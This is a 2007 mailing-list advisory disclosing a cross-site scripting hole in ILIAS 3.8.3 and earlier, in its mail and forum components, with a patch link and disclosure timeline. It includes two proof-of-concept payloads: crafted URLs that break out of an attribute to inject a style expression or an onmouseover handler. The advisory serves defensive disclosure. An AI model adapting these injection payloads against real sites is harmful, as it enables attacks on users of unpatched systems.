ILIAS <= 3.8.3 Cross Site Scripting

From: L4teral <l4teral(at)gmail.com>
Date: Tue Oct 30 2007 - 17:14:33 EDT

---

ILIAS <= 3.8.3 Cross Site Scripting

---

Author:          L4teral 
Impact:          Cross Site Scripting
Status:          patch available

------------------------------

Affected software description:

---

Application:     ILIAS
Version:         <= 3.8.3
Vendor:          
http://www.ilias.de

Description:
ILIAS is a powerful web-based learning management system that allows you to easily manage learning resources in an integrated system.

---

Vulnerability:

---

The mailing and forum components are vulnerable to cross site scripting.

---

PoC/Exploit:

---

create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com

http://www.ex"onmouseover="javascript:alert('xss');"ample.com

---

Solution:

---

install security patch:
http://www.ilias.de/docu/goto.php?target=pg_16836_35&client_id=docu

---

Timeline:

---

17.10.2007 - vendor informed
25.10.2007 - vendor responded
29.10.2007 - vendor released patch
30.10.2007 - public disclosure

Received on Tue Oct 30 17:27:24 2007